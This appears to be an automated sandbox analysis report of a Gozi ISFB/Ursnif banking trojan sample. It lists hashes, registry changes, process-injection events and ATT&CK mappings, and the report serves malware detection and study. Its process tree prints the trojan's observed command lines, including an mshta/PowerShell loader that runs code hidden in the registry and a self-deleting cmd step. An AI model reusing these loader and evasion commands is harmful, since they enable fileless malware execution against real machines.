gozi_ifsb | d8885ce1f08167becda151811c6519af1bac2ad835acf60c7fa1130dad28fcd7

General

Target

pliant.dll
Size

270KB
MD5

019c152a88c2efc4c7b42458a48f7f5c
SHA1

1e6cc277d46f5fd5e7b915980deb8725c4a71726
SHA256

d8885ce1f08167becda151811c6519af1bac2ad835acf60c7fa1130dad28fcd7
SHA512

15457c7e7406aacf90bcdb281c3b00fc0f37923dfe660f23c4889a48091f877de6f7662bc13ee7c68cb6bb7bb39c1973d71ad4a8b50769893978c5163a64cfad

Score

10^/10

banker trojan gozi_ifsb ursnif spyware

Malware Config

Signatures

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Modifies Internet Explorer settings 1 TTPs 43 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEmshta.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 400cf1f31540d601	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007cf8d5bd09b0364592b95b96ab31238800000000020000000000106600000001000020000000cbfb25f0551244106b38af6384ff3853ebf6eb94233b69bf837b9d32266a0ea4000000000e80000000020000200000003555bd94a04262796ecb442c9ad7e9d671066e6faa237387903f74162fa299a9200000005b8477873ffb687921aad2032d7750b795888c6ce08889d2d375a6bb1a4a2bd640000000abef09e34f9371273a0aec5fbc4f7575c7db831b97d4a34dccf4bc24ed2697edacb6e3fdd907df2488b9cc1b241a726a88a1393020421efa995f2b9a1bb9f92f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "298661572"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007cf8d5bd09b0364592b95b96ab312388000000000200000000001066000000010000200000001c70e1f0a4011d1b68c5f82cff8e879e74d395d0d3bfd007c11857019235c770000000000e800000000200002000000031dd31b2a4f38bf7f9f40b5d4b2c14b1caf12ce631d7289f82537a1240956a1290000000525f452ca28ce30e3b7f1add91a13f1c57ef533ddc1fa892b26d3221f7183e0facd7de614a1e0d248069839a90bd87561f2cb4c93b808d13047a48663f70da0127c37dd3c541b06bad31fd4cd4fde8497ff385faf2e0cb149727c0c9dda769c4828a29868eddfcd385acc6f7d32759e948c938c0d1a7aa68c21e630c90eca8cd66917d90dcaf67d4e0838893692746ac40000000a17c1889742353f0e338ae3492e7c1426acf896f927dcf58fc356233c988da061ed28e1494c4b0dc6ea3f57ab0c59d6055058fe0a25b269f9bfe5d5d3ed9ba58	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{29E126F1-AC09-11EA-94CC-62EEA73501DE} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000	iexplore.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeExplorer.EXE

pid process

432 powershell.exe
432 powershell.exe
1284 Explorer.EXE
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

432 powershell.exe
1284 Explorer.EXE
1284 Explorer.EXE
2028 cmd.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

896 PING.EXE
Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

896 PING.EXE

pid	process
432	powershell.exe
432	powershell.exe
1284	Explorer.EXE

pid	process
432	powershell.exe
1284	Explorer.EXE
1284	Explorer.EXE
2028	cmd.exe

pid	process
896	PING.EXE

pid	process
896	PING.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
1844	iexplore.exe
1844	iexplore.exe
1196	IEXPLORE.EXE
1196	IEXPLORE.EXE
1844	iexplore.exe
1844	iexplore.exe
1908	IEXPLORE.EXE
1908	IEXPLORE.EXE
1844	iexplore.exe
1844	iexplore.exe
1196	IEXPLORE.EXE
1196	IEXPLORE.EXE

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE
Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE

Suspicious use of WriteProcessMemory 55 IoCs

Processes:

rundll32.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 1400 wrote to memory of 1404	1400	rundll32.exe	rundll32.exe
PID 1400 wrote to memory of 1404	1400	rundll32.exe	rundll32.exe
PID 1400 wrote to memory of 1404	1400	rundll32.exe	rundll32.exe
PID 1400 wrote to memory of 1404	1400	rundll32.exe	rundll32.exe
PID 1400 wrote to memory of 1404	1400	rundll32.exe	rundll32.exe
PID 1400 wrote to memory of 1404	1400	rundll32.exe	rundll32.exe
PID 1400 wrote to memory of 1404	1400	rundll32.exe	rundll32.exe
PID 1844 wrote to memory of 1196	1844	iexplore.exe	IEXPLORE.EXE
PID 1844 wrote to memory of 1196	1844	iexplore.exe	IEXPLORE.EXE
PID 1844 wrote to memory of 1196	1844	iexplore.exe	IEXPLORE.EXE
PID 1844 wrote to memory of 1196	1844	iexplore.exe	IEXPLORE.EXE
PID 1844 wrote to memory of 1908	1844	iexplore.exe	IEXPLORE.EXE
PID 1844 wrote to memory of 1908	1844	iexplore.exe	IEXPLORE.EXE
PID 1844 wrote to memory of 1908	1844	iexplore.exe	IEXPLORE.EXE
PID 1844 wrote to memory of 1908	1844	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 432	1652	mshta.exe	powershell.exe
PID 1652 wrote to memory of 432	1652	mshta.exe	powershell.exe
PID 1652 wrote to memory of 432	1652	mshta.exe	powershell.exe
PID 432 wrote to memory of 1876	432	powershell.exe	csc.exe
PID 432 wrote to memory of 1876	432	powershell.exe	csc.exe
PID 432 wrote to memory of 1876	432	powershell.exe	csc.exe
PID 1876 wrote to memory of 1544	1876	csc.exe	cvtres.exe
PID 1876 wrote to memory of 1544	1876	csc.exe	cvtres.exe
PID 1876 wrote to memory of 1544	1876	csc.exe	cvtres.exe
PID 432 wrote to memory of 1916	432	powershell.exe	csc.exe
PID 432 wrote to memory of 1916	432	powershell.exe	csc.exe
PID 432 wrote to memory of 1916	432	powershell.exe	csc.exe
PID 1916 wrote to memory of 1924	1916	csc.exe	cvtres.exe
PID 1916 wrote to memory of 1924	1916	csc.exe	cvtres.exe
PID 1916 wrote to memory of 1924	1916	csc.exe	cvtres.exe
PID 432 wrote to memory of 1284	432	powershell.exe	Explorer.EXE
PID 432 wrote to memory of 1284	432	powershell.exe	Explorer.EXE
PID 432 wrote to memory of 1284	432	powershell.exe	Explorer.EXE
PID 1284 wrote to memory of 2028	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 2028	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 2028	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 2028	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1844	1284	Explorer.EXE	iexplore.exe
PID 1284 wrote to memory of 1844	1284	Explorer.EXE	iexplore.exe
PID 1284 wrote to memory of 1844	1284	Explorer.EXE	iexplore.exe
PID 1284 wrote to memory of 2028	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 2028	1284	Explorer.EXE	cmd.exe
PID 2028 wrote to memory of 896	2028	cmd.exe	PING.EXE
PID 1284 wrote to memory of 1908	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1908	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1908	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1600	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1600	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1600	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1032	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1032	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 1032	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 480	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 480	1284	Explorer.EXE	cmd.exe
PID 1284 wrote to memory of 480	1284	Explorer.EXE	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 432 powershell.exe

description	pid	process
Token: SeDebugPrivilege	432	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 432 set thread context of 1284	432	powershell.exe	Explorer.EXE
PID 1284 set thread context of 1844	1284	Explorer.EXE	iexplore.exe
PID 1284 set thread context of 2028	1284	Explorer.EXE	cmd.exe
PID 2028 set thread context of 896	2028	cmd.exe	PING.EXE

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2028 cmd.exe

pid	process
2028	cmd.exe

Checks whether UAC is enabled 3 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

iexplore.exeExplorer.EXE

pid process

1844 iexplore.exe
1844 iexplore.exe
1844 iexplore.exe
1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
PID:1284
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\pliant.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\pliant.dll,#1
    3⤵
    PID:1404
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05\\\Efsltprf'));if(!window.flag)close()</script>"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05").dmrctcls))
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetThreadContext
    PID:432
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wml2pt21\wml2pt21.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1876
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBBA0.tmp" "c:\Users\Admin\AppData\Local\Temp\wml2pt21\CSCF5E2402943C9449CAD4C624F8EE5815B.TMP"
        5⤵
        
        PID:1544
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jcqc2x1d\jcqc2x1d.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1916
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD84.tmp" "c:\Users\Admin\AppData\Local\Temp\jcqc2x1d\CSC5F1D218621324F4BA6785E81D9842C4.TMP"
        5⤵
        
        PID:1924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\pliant.dll"
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  - Suspicious use of SetThreadContext
  - Deletes itself
  PID:2028
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Runs ping.exe
    PID:896
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\2C0C.bi1"
  2⤵
  PID:1908
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:1456
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\2EEC.bi1"
  2⤵
  PID:1600
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:1472
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2C0C.bi1"
  2⤵
  PID:1032
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2EEC.bi1"
  2⤵
  PID:480

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Checks whether UAC is enabled
- Suspicious use of FindShellTrayWindow
PID:1844
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1844 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Checks whether UAC is enabled
  PID:1196
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1844 CREDAT:406535 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Checks whether UAC is enabled
  PID:1908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\2C0C.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\2C0C.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\2EEC.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\2EEC.bi1

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBBA0.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBD84.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\jcqc2x1d\jcqc2x1d.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\wml2pt21\wml2pt21.dll

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\VS9I6PPX.txt

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jcqc2x1d\CSC5F1D218621324F4BA6785E81D9842C4.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jcqc2x1d\jcqc2x1d.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jcqc2x1d\jcqc2x1d.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wml2pt21\CSCF5E2402943C9449CAD4C624F8EE5815B.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wml2pt21\wml2pt21.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wml2pt21\wml2pt21.cmdline

Download Submit
memory/432-12-0x000000001C480000-0x000000001C531000-memory.dmp

Filesize
708KB

Download
memory/896-17-0x0000000000180000-0x0000000000181000-memory.dmp

Filesize
4KB

Download
memory/1196-0-0x0000000002BD0000-0x0000000002BD1000-memory.dmp

Filesize
4KB

Download
memory/1284-16-0x0000000007BA0000-0x0000000007C51000-memory.dmp

Filesize
708KB

Download
memory/1284-14-0x0000000007BA0000-0x0000000007C51000-memory.dmp

Filesize
708KB

Download
memory/1284-11-0x00000000026C0000-0x00000000026C1000-memory.dmp

Filesize
4KB

Download
memory/1844-13-0x0000000002D50000-0x0000000002D51000-memory.dmp

Filesize
4KB

Download
memory/2028-18-0x0000000001CD0000-0x0000000001D81000-memory.dmp

Filesize
708KB

Download
memory/2028-15-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads